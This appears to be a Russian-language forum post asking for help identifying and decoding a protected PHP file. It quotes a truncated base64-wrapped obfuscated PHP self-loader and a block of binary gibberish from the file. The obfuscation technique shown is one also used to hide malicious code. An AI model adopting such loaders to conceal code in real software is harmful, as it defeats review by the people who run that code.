0('aWYoITApJE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwME8wMCgkTzAwME8wTzAwLDEwMjQpOyRPME8wMDBPMDAoJE8wMDBPME8wMCw0MDk2KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMzgwKSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWm и т.д." . Пиво будет через личку
Столкнулся с интересной защитой, кодировка у самого php файла - макинтоша. Всё в крякозябрах. Пример Code: Eї¦gU—ыw lьЏ™Ш¶ b:eќрљачG¬м.зUvXѓn€"Ї]4ЊњќY¶атъ№о0—ћћ1 д·;жq󮬛БzbќvярKxњбыCQзыwЛЬѓ—ѕљу€| A‘,ѓ"°г№Y mШ‡6|SзвЄц•Ізе·жеџ6gр>‘ЛЭ·ђЩюл“-И& Открывал прямо в маке, думал там доберусь до зенда иль еще чего - но разницы не увидел) Вообщем прошу помощи понять что это такое и как это распознать Воть сам файлик http://zalil.ru/32321926 Спасибо
